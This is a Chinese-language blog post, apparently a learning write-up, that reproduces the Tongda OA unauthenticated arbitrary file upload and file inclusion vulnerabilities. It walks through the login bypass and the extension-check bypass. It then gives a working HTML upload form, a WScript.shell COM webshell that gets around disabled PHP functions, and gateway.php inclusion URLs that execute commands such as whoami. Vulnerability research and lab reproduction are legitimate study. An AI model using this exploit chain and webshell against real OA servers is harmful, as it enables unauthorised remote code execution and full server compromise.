900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > 通达OA未授权任意文件上传及文件包含漏洞分析学习

通达OA未授权任意文件上传及文件包含漏洞分析学习

时间:2018-10-25 02:47:54

相关推荐

通达OA未授权任意文件上传及文件包含漏洞分析学习

今年3月份通达OA爆出了文件上传和文件包含漏洞,网络上很多复现和分析的博客,今天我也来试着分析分析,据360灵腾安全实验室判断该漏洞等级为高,利用难度低,威胁程度高,所以可能比较适合代码审计的新手来练练。

0x00 漏洞概述

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0x01 任意文件上传

网上很多信息,存在漏洞的文件就是ispirit/im/upload.php

由于php文件都是通过zend加密的,所以还需要zend解密工具解密才行。

至于zend解密工具,自行百度就OK了。

那么就来看看存在问题的那段代码吧!

$P = $_POST["P"];if (isset($P) || ($P != "")) {ob_start();include_once "inc/session.php";session_id($P);session_start();session_write_close();}//如果有传递参数P,就可以绕过执行auth.php了,也就可以绕过了登录验证进行文件上传了。else {include_once "./auth.php";}

if-else语句一旦编写时出现判断失误,就会出现必要的执行步骤被忽略的可能。

我用burpsuite来试一下吧,如果直接在未登录情况下访问这个url是会提示用户未登录的。

如果我传入一个P参数提交,就会发现成功绕过了登录认证,并且PHPSESSID被设置为了P参数。

接下来继续看又有一个IF-else语句,是判断DEST_UID

$TYPE = $_POST["TYPE"];$DEST_UID = $_POST["DEST_UID"];$dataBack = array();if (($DEST_UID != "") && !td_verify_ids($ids)) {//验证DEST_UID是否为非数字$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));echo json_encode(data2utf8($dataBack));exit();}if (strpos($DEST_UID, ",") !== false) {}else {$DEST_UID = intval($DEST_UID);//若DEST_UID为空或0那么DEST_UID都为0}if ($DEST_UID == 0) {//如果DEST_UID为0if ($UPLOAD_MODE != 2) {$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));echo json_encode(data2utf8($dataBack));exit();}}

所以我需要传入一个不为空和0的数字就可以了。

这里有报错是因为我没有去上传文件。接下来继续看函数。

if (1 <= count($_FILES)) {//只要全局变量1<=count($_FILES)就OKif ($UPLOAD_MODE == "1") {if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);}}//执行upload$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

这里是只要全局变量1<=count($_FILES)就OK了,可以执行下面内容,也就是说有文件上传的时候就会去调用upload函数。

那就看看upload函数,它在inc/utility_file.php中,主要是看上传允许的后缀问题,但是这用的是getshell方式,而getshell方式是文件包含,所以不饶过也是可以的了。

if ($ATTACH_ERROR == UPLOAD_ERR_OK) {if (!is_uploadable($ATTACH_NAME)) {$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));}

这里调用了一个is_uploadable()函数,跟进去看一下这个函数,这个函数也是在inc/utility_file.php里。

function is_uploadable($FILE_NAME){$POS = strrpos($FILE_NAME, ".");if ($POS === false) {$EXT_NAME = $FILE_NAME;}else {if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {return false;}$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));}

这里主要是寻找.出现过的最后一次处,然后寻找后三个字符,并且将其通过strtolower()转换为小写,然后比对是否是'php',所以如果要绕过后缀验证,只要在最后加一个.就可以了。

接下来看一下UPLOAD_MODE判断结构。可以看出来它的主要作用是判断类型回显相应的内容,参数的值有1,2,3,但是这个UPLOAD_MODE参数是怎么来的我就不太知道了,在upload.php文件里没有找到UPLOAD_MODE的来源,有可能是文件包含过来的。

接下来我们继续分析关于Path的问题,首先是看到了FILE_PATH参数。

可以看到他和ATTACHMENT_IDATTACHMENT_NAME有关,我们跟进定位去看一下这两个参数,发现它们都来源自ATTACHMENTS参数。而ATTACHMENTS又是upload()函数的返回结果。

而这两个参数来之对应的ATTACHMENTS["ID"]ATTACHMENTS["NAME"],而根据网上的文章,它们来源于add_attach函数,而add_attach函数也是在inc/utility_file.php文件下。

那么就跟进到add_attach里看一下是什么样的。我们可以从函数里面看到保存路径,FILENAME。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jg17ocif-1598793979232)(

查看add_attach函数的返回值,返回值中包含了文件路径以及自定义的文件名,现在我们返回到upload函数

这里要上传可以使用以下的html:

<form id="frmUpload" enctype="multipart/form-data"action="http://192.168.0.109:80/ispirit/im/upload.php" method="post">Upload a new file:<br><input type="hidden" name="P" value="666"><input type="hidden" name="TYPE" value="666"><input type="hidden" name="DEST_UID" value="1"><input type="file" name="ATTACHMENT" size="50"><br><input type="hidden" name="UPLOAD_MODE" value="1"><input id="btUpload" type="submit" value="Upload"></form>

我首先上传了一个jpg图像,回显告诉我一切正常。我在使用.绕过后很奇怪的(这里上传的是PHP文件),回显依旧是报错的,这让我很困惑。

我决定去看一下上传目录,结果发现居然是上传成功了。

我总感觉我的漏洞环境似乎没有搞好,后来还好从大佬哪里拿到了一个漏洞完整版本,所以就很顺利的成功复现了。

0x02 文件包含漏洞

根据网上诸多的信息,文件包含漏洞是位于ispirit/interface/gateway.php

if ($url != "") {if (substr($url, 0, 1) == "/") {$url = substr($url, 1);}if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {include_once $url;//只需要存在general/ ispirit/ module/ 这几个中的任何一个字符串就可以}}

构造一个

http://192.168.0.109/ispirit/interface/gateway.php?json={%22url%22:"module/../../attach/im//30022247.webshell.php"}&cmd=whoami

试着去RCE但是很可惜,并没有成功,虽然上传了webshell,但是却无法执行。这可能是存在过滤问题。所以我也去了解了一下。

通达OA开启了 disable_funcation 功能 很多常见的命令执行函数如 exec、eval、system等都被禁止了

所以我应该去重新构建一个webshell,或者找到一个bypass方式。

我重新上传了一个webshell:2050173889.hah.php

<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

构造一个新的json:

http://192.168.0.109/ispirit/interface/gateway.php?json={%22url%22:"module/../../attach/im//2050173889.hah.php"}&cmd=whoami

成功执行了whoami

接下来再试一下dir命令:

复现成功了,第一次复现看了很多教程还是遇到了很多的问题。

问题

1、漏洞文件,再复现之前对于存在漏洞的软件安装程序的收集工作很重要,只有一个完整的漏洞版本程序对于复现来说才是最佳的。虽然某些文件存在漏洞,但是软件是一个整体,还包含了很多其他函数的调用。版本升级必然会带来其他代码的修改。从而影响复现效果。

2、注意漏洞软件再联网状态下的自动更新情况,这次做复现就遇到了这个情况,因为某些原因,手上的工作停了一会。结果就触发了软件基本都会有的闲时自动更新功能,导致我回来后,漏洞消失了,确实困扰了我好久。起初一直以为是自己构造或者传值有问题,但是反复检查并没有问题。好在我马上反应到可能存在自动更新覆盖漏洞版本的情况,所以就去检查了一下版本号,果然从11.3升级到了11.5。

3、在执行RCE的时候,我起初一直使用的是简单的一句话木马,但是一直没有RCE成功,这就让我很懵了。不知所措,于是更换了多个一句话木马,例如eval、system等,但是均无效果。于是试着了去网络上查询相关信息,果然查到了通达OA有做一些处理。

参考资料

1、/-qing-/p/10944118.html

2、/column/230871.html

3、/t/7433

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。